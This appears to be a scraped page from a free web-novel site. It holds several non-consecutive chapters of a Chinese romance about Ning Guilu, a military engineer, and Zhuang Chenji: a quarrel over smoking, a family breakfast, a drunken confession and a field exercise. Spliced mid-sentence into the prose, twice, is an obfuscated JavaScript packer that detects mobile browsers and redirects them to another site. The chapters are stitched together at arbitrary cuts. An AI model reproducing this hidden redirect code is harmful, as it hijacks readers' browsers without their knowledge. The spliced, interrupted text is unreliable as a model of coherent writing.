他那句“我给你外婆供了一盏长明灯”此刻才回响起来。 她往后一靠,忽然很想点根烟,微痒的指腹在杂物箱里翻了翻,只翻出一把合拢的雨伞。 瘾不大,遂作罢。 坐直身,掉头下山。 泾市。 厨房煲着一小盅鸡汤氽海蚌。春季的海蚌最好,肉质饱满肥厚又鲜美,清热解毒又滋阴养颜。 厨娘探头出来看了几次。先生还稳稳地坐在客厅沙发处,手边的茶盏温了凉。这一会儿,氤氲的那点儿热气又散了。 管家注意着,走上前去又换了杯子斟一杯温茶。 厨娘接了管家递回的茶杯去洗,悄声问:“宁小姐还没回来?” “再等等。” 半个多钟头后,车开回来了。 宁瑰露觉得今天运气不错,一回来正撞上开餐。餐厅里亮着几盏明黄的灯,温馨动人,桌面上摆盘精美的菜衬得丰富而味美。 她放下拎着的袋子,将车钥匙递还给管家,高兴道:“来得早不如来得巧。我正好饿了。” “宁小姐,您可回...” 管家一唱三叹的腔词没说完。庄先生洗净手出来,在她正要偷吃的背影上一拍:“去洗手。” 宁瑰露捻起虾尾,牙齿咬着剥开的肉,在庄谌霁皱眉前先蹿进了洗手间。 管家收拾了她带回来的东西,道:“宁小姐还带了点心回来,咦,这家点心坊不是鹿海市的吗?” 宁瑰露甩着湿手走出来,“我尝了,这家的栗子糕和榴莲芝士还不错。” 庄谌霁正落座,目光落在她带回的那几盒点心上。宁瑰露走到他身后,双手搭在他肩上,捏捏他肩膀,卖乖说:“谢谢谌霁哥今天借车之情。” 话说完,两只爪子的水也全抹在了他衬衫上。 庄谌霁额角跳了跳,不欲与她计较,握起筷子道:“吃饭。” 他不言不语,神色端得严肃端正,瞧着不大高兴。 宁瑰露片刻也坐不住。听后院有说话声,端着碗夹了点菜,靠着门口听墙角去了。 这是打小养成端碗串门的习惯,大了没门可串了,有点说话声就想上去唠两句。 她听着墙角尤不过瘾,还加入了家长里短八卦群:“隔壁小区的真的带小姑娘回家了,谁瞧见了?” “可不是,巡逻的张师傅亲眼看见,俩人鬼鬼祟祟的,那女的还戴着帽子口罩生怕被人瞧见!” “那这事他老婆知道了吗?” “就是知道了,带着小舅子上门,闹了个天翻地覆呢!” “呸,男人都不是好东西。”她颇有带动力地啐一口。 引起纷纷附和:“对,都不是好东西!” 庄谌霁:“......” 他揉了下额角。 吃过晚饭,庄谌霁问她要不要看会儿电视,宁瑰露摆手拒绝,搬着椅子在院子里吹风。 唠嗑的阿姨们不敢在老板面前公然躲懒,悄没声地都散了。 电视还是照常开了。管家按先生习惯调到了准点新闻联播。 主持人庄重饱满的声音正将每日国家新闻逐一概括。 此时才七点刚过。 “我国自主研发的‘星辰’系列卫星成功发射升空并进入预定轨道......” “......对某国进行了国事 6. 第六章 《那位白月光回来了》全本免费阅读 一场春雨一场寒。 房间窗幔被风扬起,拢在床沿,白纱如海浪翻涌。 她洗净一身仆仆灰尘,倒在床头。 床品今天换过了,带着崭新的熏香味。 手伸进枕头底下摸了摸,好一会儿也没摸到想摸的东西。她转身掀开枕头一看,枕头下是平平整整空空荡荡的。 纳闷了一阵才想起来衣服昨天洗过了。 她下楼往晒衣服的晾晒房去。路过客厅,发觉餐厅那盏昏黄的灯还亮着。她往后仰身看了一眼。 庄谌霁已经走了。餐桌上两只洁净的高脚杯并排立着,白葡萄酒少了半数多。 她走后他竟一个人独酌半响,还敢教训她少饮酒。照她看,以他那一酒窖的酒,他喝过的比她只多不少。 她摘下晾晒的白背心。脸埋在背心里蹭了蹭。 棉质的背心柔软而温暖,在乍暖还寒的雨夜里像一只轻柔的手抚过她脸颊。 她抱着背心回了房间。洗过澡,躺在温凉柔软的被窝里,只留床头一盏小灯。手指搓着背心衣角,缓缓地,缓缓地,沉入了梦乡。 梦里有断断续续的二胡声,琴弦太老了,声音也喑哑似哭似泣。 趴在井水旁用冰凉的冷水洗脸的少年痛不欲生地喊:“姥姥,别拉了!我都要尿了!” “别喊了,外婆耳朵不好使。” 她盘腿坐在门槛台阶边,短而宽松的夏季校裤只遮到大腿。经过一个夏天的曝晒形成了一道黑白分明的分界线。 她编着狗尾巴草,灵活地织成一只只有手有脚的小狗。 宁江艇路过她身边,头痛道:“别薅了!花坛都被你薅秃了!” 她攥了一把草,连根拔起,朝着宁江艇的背影就扔了过去。散落了一地的干燥泥土和草屑。 然后,她就顺着扔出的那把草,像一粒轻飘飘的尘埃那样飞了起来。穿过宁江艇清瘦的身影,穿过高堂,瞧见了外婆笨重的背影,越飞越高。 高到她瞧见了外婆挂在白墙上的灰白遗照,瞧见宁江艇的照片并放在外婆身边。 瞧见一条宽阔的小河。宁江艇跋涉过小河,快步跟上外婆的步伐,俩人朝着茂密的丛林走去。 她着急地想追赶上,可是怎么也迈不开腿。 她用力地喊:“外婆,哥,等我一下!等我一下!” 忽然,像听见了她的声音。宁江艇回过身,朝她摆了摆手,示意她回去。 回去?回哪去? “哥!” 她急得要哭了,踉跄跌落,大声地喊:“哥!” “哥——” 绮梦惊醒,满室荒唐静默。 她掩着心口,心脏痛得像犯了病。她翻过身,额头抵着潮热的枕头,弓起身。 像经过了一次死去活来,眼泪开了闸,涨得眼皮肿痛。 从床头摸过手机,她在一片模糊里看见了时间。 凌晨3:21。 心脏重得像在酒吧听人敲大鼓,“嗵嗵”的,扯得神经也跟着跳。 她调亮了床头灯,摸了一把莫名其妙的眼泪。 靠着床头,她点开了和宁江艇的微信。聊天记录停在一周前,她说:“我要回内地了,你今年中秋回家么?” 没有回复。 往上翻。宁江艇上一次回复已是半年前,他说:“就你消息发得多。” 她打下一句:“我梦见你和外婆了。” 明知得不到回复,却还锲而不舍,像个倒贴的舔狗。她“哎”一声,有点儿想笑。 夜深人静,偌大一个小庄园静得只听得到雨打树梢声。 宁瑰露披上外套走上露台,从口袋里掏出了烟盒,挡着风口点燃抿了一口。 晚风吹来,将缭绕的烟气吹散。那徐徐的烟雾随风消散,又蜿蜿蜒蜒地冒出头、直起身。 二楼,书房。 夜色静谧,只有时而几声敲击键盘声和翻阅书页的“哗哗”声。 动了动僵硬的脖颈。庄谌霁看了眼时间,已经三点过半。 或许是睡前喝了几口酒,今晚难眠。 他端起已经冷掉的白水抿了一口。 夜风吹来,将满桌文件散页吹得四散溃逃。 收拾起文件。他起身行去窗边,正要关窗,借晚风嗅见了一阵似有若无的烟草味。 他支着窗沿,侧身向三楼望去。 一只瘦削的胳膊搭在栏杆上,指间熟稔地夹着红光明灭的香烟。 抓了个现行。 他怒意顿起,一拍窗台:“宁瑰露!” 楼上呼啦收回了头。一阵踩踏声,显然是手忙脚乱在灭烟。 过了会儿,她拉开了被敲响的房门,脸上挂着无辜的笑容:“谌霁哥,你怎么还没睡啊?” 他抬手在她额头上重重弹了一下。 宁瑰露吃痛,捂着额头低嚎一声,“痛啊!” “烟,拿出来。” “你看错了,哪有烟?我又不抽烟。”她满脸无辜。 庄谌霁不跟她废话,捏着她肩膀转了个身,在她外套两兜摸了摸,又走去床头柜,拉开两个盒子,毫不意外地在第二个盒子里摸出了一包软白沙。 “打火机。”他脸色冷若寒冰。 宁瑰露这才慢吞吞从口袋掏出了捏着的打火机,“我都三十了,又不是十三,抽个烟怎么了?” “你就是九十了也没用,哪天等我们都死光了,你就想干吗就干吗吧!” 宁瑰露脸色一变,像要翻脸:“说什么鬼话呢!” 大半夜的。 管家颤颤悠悠从床上爬起来,坐在床位听了听,确定是从楼上传来的吵架声。 他赶忙套上衣服,脸都没来得及抹两把,走到楼梯口,仰头往上看。 听到一道中气十足的女声:“你又管得着吗?” “宁瑰露,你是不是叛逆期还没过啊?”这是被气得扬声的先生。 “我乐意!我就是抽成了铜炉也跟你没关系!” “你在外面就这么作践你自己,对得起你父母,对得起你姥姥和爷爷吗?” “那也不关你的事!” 接着“砰”一声,是什么东西摔了。 管家吓得心都抖了抖,心道这可不得了了,打起来了,忙拉着扶手往楼上去劝架。 宁瑰露往后一步,撞翻了床头的水杯,“哐当”一声巨响砸地,水溅了她一腿。 被水一泼,火焰熄下来了。她没想和庄谌霁吵,就是调子高,话赶话说到这份上了。 这会儿俩人盯着倒了一地的水,谁也没再开口。 僵持了一会儿,宁瑰露转过身去,从床头抽了几张纸盖那一滩水上。 庄谌霁拎着她胳膊把她拽到了一边,蹲身捡起水杯,又把地上的纸捡了。 管家“嗬哧嗬哧”爬到三楼时,双方已经休战了,先生正在床边擦水,宁小姐坐在 7. 第七章 《那位白月光回来了》全本免费阅读 宁瑰露差点笑喷。 她这人素质不好估量,“尊老”还能讲究,“爱幼”就不知道为何物了,她当即怼回去:“小朋友,我又不住在你家,你知道这是谁家吗?” 小男孩蹿了起来,叫嚷道:“这就是我家!这不是你家!你为什么住在我家!” “庄斯!”庄慧琳一巴掌裹男孩脑瓜顶上,“砰”一声响,和拍皮球似的,叫嚣的小屁孩霎时成了个瘪了的哑炮。 “对不起啊宁小姐,”庄慧琳脸上挂着歉疚的笑容,“这小孩被我和他爷爷惯坏了,有点没大没小的,你别跟他一般见识。” “庄…斯?哪个斯?” 后院的光穿过栅栏纹玻璃照射过回旋的木梯,斜斜在她脖颈至下巴一侧留下几道光斑。 扬尘跳跃,光的形状如一道纹身般刻印在她瘦削纤细的肩颈处。 她倚着楼梯扶手抱着手臂,睨着,懒懒散散的,法兰绒质感的拖鞋在她足弓上一晃一晃。 过了十好几年,庄斯也记得这一幕。 她身上有种旧式老电影腔调的随性与娇憨,不像个刻板正经的大人。眼珠黑且亮,像荔枝核。脸颊瘦削,一点儿也不符合主流审美的样式。清癯身姿则像一张弓,站不直,劲瘦而歪曲,可就是叫人感觉弛张有度。 “是斯文的斯。”庄慧琳说。 宁瑰露欠欠儿地:“别叫庄斯了,赶明儿叫庄暴吧,‘斯文’两个字瞧着左右都跟他搭不着边。” “你这个坏……唔!!” “你给我闭嘴吧。”庄慧琳捂着他嘴把他摁一边去,又招手来让管家把小孩带出去。 被拉走的时候那小破孩还满腔激愤,嚷着:“我不会同意你住在我家的!” “宁小姐,可别跟他计较,我回头就让他爹收拾他。”庄慧琳亲热地拉着她到沙发处坐下,“好久没见你了,听说你在做科研,现在都是大工程师了!” 宁瑰露往椅背上一靠,微笑说:“在外面混日子而已。” “宁小姐,你不要谦虚呀,你们宁家人一向都是厉害的呀!”话音一转,庄慧琳关切问,“今年老首长身体怎么样,可还好?” “庄姨。”宁瑰露从她温热的手掌里努力抽回自己的手,捏了捏被攥疼的手背,“您都知道我在西北,我都五年没回去了。” “和家里也没有联系吗?” “基地只有内部网络,外联是违法的。”纯属胡诌。 “哎呦,真是不容易。”庄慧琳握着她胳膊,关切问,“那怎么休假了没有回家呢?” 宁瑰露一个不社恐的人都要被这恨不得贴上来的殷切问话弄社恐了,扯扯嘴角,随便找了个理由:“家里人多,事忙,我歇几天,过两天就返京了。” “哎呀,这打小一块长大的关系果然是好。你尽管把泾市当自己家一样,自由自在地住,把我们就当家里人一样,千万别见外!” “庄姨,我这人打小就不知道‘见外’两个字怎么写,您别嫌我太自来熟了就成。”她大大方方应下,回头一看,餐点已经上桌了,“庄姨,您吃早餐了吗?要不跟我一块吃?” “我吃过了,你这孩子才刚起来吧?赶紧吃早餐去。”她一脸姨母笑,目光落在宁瑰露身上,又欣慰又夹杂着点儿遗憾喟叹似的。 庄慧琳想想刚刚摸到的那手指骨头,手腕细得两根手指头就能圈住,单单只瘦也就罢了,那掌心一摸,竟然比她的还粗糙,就是在家里做了十年工夫的阿姨,手上也没有起那么多茧。 又不是从前了,太平盛世,国富民强的,哪还非要去那些不毛之地吃些苦头?宁家人心太狠了,父母在身边的,都留在中央,父母不在的,不是放去南海就是送去西北。 爹妈要是瞧见了,得多心疼? 庄慧琳那怜爱而又慈祥的目光盯得宁瑰露后背发毛。她疑问地看向庄慧琳,对方给了她一个“放心,好好吃”和“不用张罗我”的眼神。 宁瑰露微微一笑,低头落座时才微不可查地一皱眉。 今天的早餐是中式的。 餐桌上昨晚拿出的香槟与高脚杯已被撤下,换了只臂高的斜口花瓶,插着几支素洁的马蹄莲与百合,白绿搭配,清新得入了夏似的。 光洁如玉的白釉碗里盛着一个个玲珑剔透的小云吞,木质的方碟上铺着隔油纸,油条和薄饼摆盘精致,另有一只陶碗内是一碗撒了黄瓜丝、豌豆、芹菜丁、葱丝和白芝麻的炸酱面,面上还放了几块炸得焦黄的鱼块。 宁瑰露一个不讲究这些仪式的,乍然一瞧都耳目一新。 见她落座,厨师走出来道:“宁小姐,口味上有什么要调整的,你同我讲。” “这炸酱面是你做的吗?” “是照着先生说的法子做的,用的是手擀面和自己调的酱,锅挑出来没过水,不知道合不合您的口味?” 宁瑰露将面夹起来搅了搅,葱丝的香味和浓郁的炸酱味扑鼻而来,热气氤氲,是才出锅的面。 她吹了吹,尝了一口。 厨师端详着她的神情,见她吃过后不说话了,心里惴惴起来,心道是不是做的不合口味。 宁瑰露好一会儿才抬头,她笑了下,说:“是这个味,谢谢你啊。” “不,不用客气。”厨师紧张得擦了擦手,“那您慢慢吃。” “大哥。”她慢慢说,“也替我谢谢你们先生。” “哎,好。” 厨师应下,但有点儿没搞懂,住在一个屋檐下,宁小姐怎么不亲自说呢? 真没用啊。 宁瑰露感慨。就这么一碗炸酱面,她竟然还吃出了点思乡情。 倒不是这面有多地道,而是这尝着就是以前外婆的做法。 外婆不是京市人,依葫芦画瓢地跟着别人做炸酱面,但总爱搞点“创新”,调料里放了咸蛋黄,还有八角和桂皮增香。有点儿咸,有点儿呛口,是独一家的味道,在外面再尝不到这口“炸酱”。 她没想到这么多年了,她自己味蕾都忘了,庄谌霁还记得她外婆是怎么做炸酱面的,心思细得她自愧弗如。 “宁小姐。”庄慧琳从沙发上起来,又挪转到餐桌旁坐下,吴侬软语的腔调温柔说,“今天在外头订了一家海鲜餐厅,中午去外边吃点我们这的特色,当是给你接风洗尘,好不好?” “不用了庄姨,”她抽了两张纸擦擦嘴,话音如铁板般斩断,不同人斡旋,“我今天就走。” “啊?怎么突然就要走了?”庄慧琳有点儿茫然,“是不是我们在这让你不自在了?” 她笑着,认真的语气倒叫人听不出是搪塞:“我这刚从西北出来就掉进了你们这温柔乡,太舒坦了,衣来伸手饭来张口的,多待一天我这人意志力就瓦解一分,再待几天就该光琢磨着退休了。” “那也,那也不着急这么快走啊!”庄慧琳着急道,“再怎么姨也该要请你吃一顿饭的呀!” 宁瑰露喝了口云吞汤,双眸从汤勺后露出来,只笑,不接话。 她那双剔透玲珑的眼睛仿佛能看到人的心里去。庄慧琳忽然生出了淡淡的心虚,好似心思都被她看穿了,还想说的话囫囵堵在嗓子眼里,渐渐地落了下去。 她不太自在地想,宁家的儿女,果然都是厉害的…… 他们上一次见面已是十几年前,那时候宁瑰露还是个学生,有什么亮点能让人记挂她十几年呢?宁瑰露心里明镜似的,清楚庄慧琳上赶着的客气不是冲着她,是冲着她祖父、爹妈、乃至于叔伯婶婶。 庄慧琳的大哥庄义钊在她祖父身边做过两年勤务兵,后来又调去了团里,还是住在一个大院里,见了她祖父也要板板正正敬礼,叫声“首长好”。 过去每年正月庄慧琳都会去京市拜访她的大哥。正月十五前,她还会专程登门上宁家拜访一趟,感谢宁家对她哥哥的提携与照拂。 庄慧琳送过宁瑰露一个关节都能动的玩具娃娃。娃娃并不算稀奇,但的确漂亮,卷翘的睫毛,白皙的皮肤,还会眨眼,让人一眼生出喜欢。 可那个娃娃在祖父的叱责下还是被放回了原位。所有东西拎进来,又被原样拎回去。宁瑰露为此一整个正月里都没有和祖父说话。她不明白,只是一个娃娃而已,为什么她没有处置权? 她对祖父不容反驳的威严敢怒不敢言。 至于现在,她懂得了原因。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914048|135645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,缝隙里,陈芮倩拉上了嘴巴,拱了拱手,示意:我嘴巴严,你们继续。 继续你爹! 宁瑰露要被箍吐血了。 她抬起手肘想抵开他身体,却被拥得毫无间隙。在她要动真格的时候,忽然发现他的身体在轻轻地颤。 好像她下一秒就会消失,而他只是在徒劳地挽留一个虚影。 算了,她手肘一松,不乏恶意地想,明天他一定会后悔的。 时间一点一点流逝。 她仰头盯着反光的澄净天花板,镜面般的薄铝吊顶照出了他们的身影,亲昵地像在拥吻。 直到感觉双脚发麻,感觉他发颤的身体一点一点平静。 他仍没有松手。 她身上有橡木烘烤的焦苦味,是雪茄的烟叶气息。他该冠冕堂皇地斥责她糟践身体,而不是这样卑微地在她的颈口嗅闻她的气息。 可他无法控制自己的卑劣行径。 她这样的人,这样的骗子,把感情就像当游戏。一场玩腻了就换下一场,一个乏味了就换下一个。 她不会怀念谁,也不会留恋谁。因为她身边的人来来去去,永远不缺投怀送抱的新鲜感。 十年前,她是洋槐树上累累的花朵,而他是台阶下的藓。他努力往上够,也够不着她的手指。十年后她依然年轻、成功、自信且成熟。在一切暧昧关系里游刃有余。 而他呢? 他还有什么能够留住她? 是年华已去的年龄,日渐衰老的容颜,还是一颗苍老而千疮百孔的心? 他在她面前,除了那一点点仅剩的自尊,一无所有。 “好难受。” 他颠三倒四地呓语:“头疼,那些东西看得人头晕,不是开会就是出差,一点都不想喝酒……” 这孩子气的醉话让宁瑰露差点笑出声,她僵直的肩膀慢慢松了下去,哭笑不得抬起手,拍了拍他的后背。 “行了,你这大老板都哭累,手底下被剥削的打工人还怎么活?” 她自言自语地嘀咕:“庄总啊庄总,你明天要是能想起你今天都做了什么,你会找个地洞钻进去的。” “乖。”她哄着他站直,把手在他身上摸了一遍,从上衣口袋里摸出了一张房卡,道,“回房间休息吧。哎,记得你住几楼吗?” 宁瑰露发现他喝多了,好好哄着,还是很讲道理的。 上了楼,她刷开他的房间门,扛着他胳膊把他带进门,放倒在沙发上,自己累出了一身汗。 她扯开衣领扇了扇风,随手拿了一瓶矿泉水拧开,“咕噜咕噜”喝了两口。 他躺靠在沙发上,微微抬着下颌,露出修长的脖颈和线条分明的下颌,眉宇拧着,视线怔愣地跟着她。 宁瑰露没好气:“看什么?不认识了?” “露露。” 他叫着她的名字,拽了拽锁紧的领带,烦闷地说:“不舒服。” “不舒服啊,活该。”她居高临下,抱臂耻笑,“教育我的时候说得头头是道,什么‘事不过三’,自己喝得发酒疯的时候把你的‘事不过三’忘哪去了?” 嘲笑完,她一摊手:“我仁至义尽了啊,你随意,想吐了自己去卫生间,酒没醒就睡,醒了就叫客房服务过来收拾。” 说完,她转身就要走,却被拽住了衣角。 脚步一顿。 她扭头看他。 她完全可以挥开他无理纠缠的手,冷酷地转身离开,可她看见了他那双深邃仓皇的眼睛,瞧见了漆光闪动,流露出无声的祈求。 这大概是他能做出的最大程度的挽留。 真奇异,那一瞬间,她脑子里浮现的竟然是刚见过一面的青年的眼睛。 笑起来清澈明亮,不笑时又高傲灵动得像鹤。 像极了那个十七岁,疑惑看着她说“你怎么都不哭”的少年。 她喜欢过的那个纯净无暇的少年,停留在了二十岁之前,一点一点亲手被他抹杀殆尽。 他奔向他的远大前程,走他的康庄大道,他获得了辉煌灿烂的成功。再也没有人能轻视他,视他无物。 他还有什么不满足呢? “二哥,看清楚我是谁,可别把我看成了你的心上人,”她抬手,轻而有力地握住了他的手腕,温和而好脾气地说,“我们这个年纪了,还弄错,不好收场。” 他的手指在颤,攥得却越发得紧。 爱像发一场烧,或许能装出来,却不能被掩饰掉。 他也想过循规蹈矩地守着界限,也想过只在她身边做个冠冕堂皇的“二哥”。 可他的心那么空,空到听不见回响,像囚狱,像监牢,像不得好死的十八层地狱。一想到她还会爱上别人,甚至会和别人厮守终生,他甚至想毁了一切,拿刀杀了那人。 她转过身,看着他发红的眼睛。 他全身都在颤抖,像隐忍地压制身体里暴戾的野兽。 她伸手,轻叹口气,将手指盖在了他额头上。 奇异的。他的战栗在她揉捏下一点点抚平了。 室内那样的安静寂寥,只有他们此起彼伏的呼吸声。 许久,她温柔开口。 “二哥,很痛苦吗?” 她盯着他汗涔涔的额角和眼眶说:“痛苦就对了。十几年前,我一个人在医院也这样痛苦。” 她俯下身,唇贴着他的耳侧,像要落下一个吻,声息那样温热缠绵,言语却温柔恶毒地说:“拜托你,就这样一直痛苦地活下去,背弃初恋的人,要不得好死。” 20. 第二十章 她喜欢过他,毋庸置疑。 在他还是个青涩未褪,抽条生长的少年时,她就完全地喜欢过他。 那喜欢不啻于爱情,像一个洞察敏锐的挚友,像一个孺慕兄长的妹妹,像一个不求回报的母亲。喜欢这件事总是不能纯粹的。 当你喜欢一个人时,你恨不能变成他身边的一阵风,变成他大脑里的神经元,变成他身体的一部分。 可这种喜欢很深刻吗? 当她和其他人在一起时,她就很少再想起他。凡是再想起他,总会是不那么美好的回忆。 是他该死的沉默,是他过纵的自以为是,是他那一句轻飘飘、划清界限的:她还小,她不懂什么是喜欢。 这种喜欢不深刻吗? 她现在仍能记起夏夜的晚风,想起他干净的T恤,想起他干爽的手指圈过她的手腕,想起山顶的日出,想起摔落在草丛里,头顶人声鼎沸,他按住她的脖颈说:别动,有小虫。却抱了她很久很久。 她再没有在一段关系里找到那样隐晦而滔滔不尽的喜欢。 她恨他在她的少女童话故事里写了烂尾,教了她一课——爱瞬息万变。 她这样决绝地放着狠话,可是自己眼眶却发烫,像结算一笔讨要许久已经没有结果的烂账。 结果已经不重要。 只是算了吧。 说“你去死”太孩子气。 你要带着迟来的痛苦好好活着——福如东海,寿比南山。 她的声音,轻地像呓语,依旧一字不差地落进他耳里。 炙热滚烫的掌心猝然紧紧握住了她的手腕,撑着沙发的手猛然失去支点,惯性下跌。 “砰”一声巨响——她的额头重重撞上了他的眼眶。 下一秒,她猝不及防地跌进了一个冰冷的怀里。 是的,冰冷的,几乎没有温度的怀抱。 他轻“嘶”了一口气,攥着她右手腕骨的手指却没有任何松弛。她被迫抬着小臂,额头还抵在他的脸颊——或者说眼眶处。 她呼吸发促,在颤。 耳里是不平静的心跳律动。 他微微侧头,握着她腕骨的手指缓缓松开,摸索着,抚上了她的脸颊,是个支扶,抬起的动作。 “撞疼了吗?” 他问。 馥郁的酒气就在她唇侧,下颌处。 她抬起的小臂忘了落下,仿佛那儿还有一只无形的手掌在攥着,桎梏着。 左手在跌下时仓促下撑,支在他下拱的小腹处。 他的腹部体温,她的手掌温度,隔着薄薄一层面料如火星般顺势舔舌燃烧。 冰凉硬挺的衬衫面料已经被拊合得滚烫。 他的鼻尖太高,抵着她的耳骨,简单四个字,带动她耳廓轻振。 太近,太暧昧。 甚至听不清说的是什么。 她心神大乱,刚刚放出去的狠话像根拉扯绷直的长绳,尚未套上猎物脖颈,“噼啪”一下先断裂开来。 她像握着长绳两段,迷茫得几乎忘了为什么要拽直它。 “疼吗?” 他抵着她脸颊的掌心上挪,拇指刮蹭着她那撞上他眼尾的额骨。 呼吸低浅,又问一次。 灯光散射,忽长忽短。 她的目光所及处一大半为他的掌心覆盖。 他依然那么白,隆起的指骨线条镀了一层白腻的光,像羊脂玉一样精致。 她突然觉得很没劲儿。 她在和他怄气什么?重算那百八十年前连成年都不算的旧账? 即便曾经青涩的萌芽能结出果,也必然是不得善终的果。 他这个人,洁净,细腻,讲究,即便一个人生活也要将一切安排得齐整舒心,井井有条。 而她从小上天入地,就不知道“老实安分”四个字怎么写。 他那光洁的手掌心哪能在她这碎石地上摸索得长久。 她抬手,握开了他抵在她脸颊上的手指,又撑了一把沙发,拉开了和他的距离。 转瞬间,她脸上神色已经收敛得平静无波。低垂的眼睛看着他,相隔不过一掌远。 她审度着,时隔数十年,第一次这样认真打量他的面目。 他却蓦地抬手,挡住了自己的脸。 不要…… 不要这么近地看他。 他已经不再年轻,无可遏制地走向崎岖、横生褶痕的衰老。 连她曾喜欢的皮囊都失去。 “我走了。微信把我拉出来。”这是她留下的最后一句话。 他紧压着眼眶,仿佛还留有她额头的体温。双手无可遏制地在战栗,身体各个关节像针扎般刺痛发麻,一股反胃猛然上涌,他疾步起身奔向洗手间,然后——瓢泼般将吃喝过的一切酒水倾倒而出。 燥热从脖颈蔓延至脚跟,紧接一阵刺骨的寒冷。 痛苦如果是一条河,他已浸没口鼻沉浮深陷多年。 他以为早已放弃挣扎。 梦醒时分才恍然发觉手里还攥着一根断裂的,死了十年有余的草茎。 她的恨和爱一样强烈。 只是恐怕要让她失望了。 他这样的人。活不长久的。 拧开的水龙头汩汩放水,他接了一捧,埋下了头。 冷水一激,神魂清醒。 宁瑰露关了水龙头,拽出毛巾擦了擦脸上的水。 手表时间显示六点半,她今早要赶去野外试验场盯演训测试。 尽管昨晚凌晨三点才睡,尽管只睡了三个多小时,尽管困得和狗一样…… 还是要上班。 她挂着快耷拉到颧骨上的黑眼圈,拿了个双肩包,塞了一件外套和文件夹,单肩挎着包拎着电脑包就往单位去。 人已经困得脚在前面走,魂在后面追。 坐着军用卡车往郊区去的路上,她抱着胳膊闭目养神,却还怎么都睡不着,脑子里乱糟糟的,又理不出什么思绪,像在煮粥。 开车的是个年轻的小战士,一路都坐得端端正正,缄口不言。 车进山谷了。小战士余光撇着反光镜,正想着怎么叫醒她,她先睁开了眼。 七八台车停在空旷的山谷里。小战士干巴巴道:“宁工,到了。” 宁瑰露拎起了脚底下的箱子:“你先下去吧,我把无线电屏蔽仪打开。” 车外运输车陆陆续续就位,哨令、喝令、整齐划一的步伐声,喧嚣尘上。 宁瑰露困得好崩溃,狠揉了两把脸才勉强醒过神来。 同事已经就位。宁瑰露推开车门,大步迈下车,反手又推上车门,单手拎着电脑往指挥中心走去。 几个战士正井井有条地铺设迷彩篷布。应急救援机械狗已经打开,几个同事临时调试,半蹲着在核查程序。见她过来,招呼了声:“宁工。” 她困得不想说话,点了下头,显得特别高冷。 演训副指挥官拎着装备箱阔步跑来,先立正抬臂飒爽地敬礼。 宁瑰露收敛好疲惫,抬起手臂在额角一划,回敬了一礼:“同志,有什么指示吗?” 他递过箱子:“宁工,这是你们的通讯设备。待会演训开始就接上通讯频道,你们的代号是52,指挥中心代号是51,53到56是各单元代码......” “明白,我待会调试。” “实弹演习开始后临时指挥中心随时会变动,杠一到杠八是炮火集中区,演训开始后请各位同志就不要往那边走了。急救人员在指挥中心待命,如果行动分散,有任何情况,及时通知指挥中心。” 宁瑰露点头,将耳麦分发给了同事,剩下一个往脖子上一挂,走进搭好的指挥中心里。 几位战士正在布置指挥中心。 “小宁。”站在桌后穿迷彩服的男人朝她一招手,显然是熟识,略去不必要的寒暄,直奔正题,“无人机和侦查车到位了吗?” “邹政委。” 宁瑰露先抬手行礼,“屏蔽仪刚开,系统启动后先测试无人机雷达系统和反制系统运行状态。” 开无线电屏蔽是为了防止间谍侦查,军用的无人机抗电磁干扰,但还有很多琐碎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954212|135645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细节要人工处理。 邹政委严肃的脸上露出一个可以称为和蔼的微笑问:“回京市,一切都还适应吧?” “还好,”她笑笑,“就是事情比在基地还多。” “年轻人啊,这点压力还是要扛得住。” 宁瑰露一听老生常谈的说教就头疼,嘴上应着“您说得对”,态度积极,行为消极,找了个由头赶紧溜了。 她的工作失联是常态。 在演训场一待就是三天,盯了三天仪器模拟实战环境下的性能表现,得出差强人意的结论,回头还要调团队再着手升级系统。 演训一结束又回战区司令部参加表彰会议、评估会议和协同指挥复盘会议。 连着四天半没有洗头洗澡,宁瑰露感觉自己身上快爬出虱子了,一回家头件事就是换衣服把自己洗刷一遍。 手机打开后蜂拥而来的“嗡”声连振不停,她看了一眼就扔到了一边,捧着电脑坐在床头先把草拟的技术复盘书删删减减修改一遍,越看越困,实在扛不住了,她放下电脑想着先睡两个小时,睡醒后再弄点吃的,结果一觉就从下午四点睡到了晚上十点。 不是睡饱了,是饿醒了。 她在睡梦里听见谁家水壶开了,咕噜噜冒泡。睁开眼后发觉那堪称惨嚎的鸣声竟然是从自己肚子里发出来的。 她盯着已经黑透的天,在一片漆黑里听肚子唱交响曲,脑袋边还有一堆忙不完的活。 怎么想怎么凄惨。 她摸起手机忽略一堆膨胀爆炸的信息,看了看外卖软件。 接着又发消息给文控小姐姐:来我这吃夜宵吗? 严愫:(笑哭)我还在加班。你回来了?快来一起加班吧! 宁瑰露:…… 简直没人性! 她这人从小有个坏习惯,吃饭时候旁边一定得有个人一块说话,不然这饭就没法吃。 她又在部门群里问了一嗓子,大家回复得倒是都快,不是还在加班就是已经准备睡了。 她突然觉得自己真可怜,竟然连个饭搭子都找不到。 不然回家一趟?她也有一个多月没回去看看老爷子了。 就是太远,得开三四十公里。路上再堵会儿,她就饿死啦,真好,肚子再也不会饿了。 算了,去单位加班吧,这个点食堂应该有夜宵了。 正琢磨着,手机响了。 ——晚安。 ——我…是不是打扰到你了? 是个没备注的号码。 谁啊?骚扰短信? 一周快过去了。他发给她的短信,像石沉大海,没有丁点儿回响。 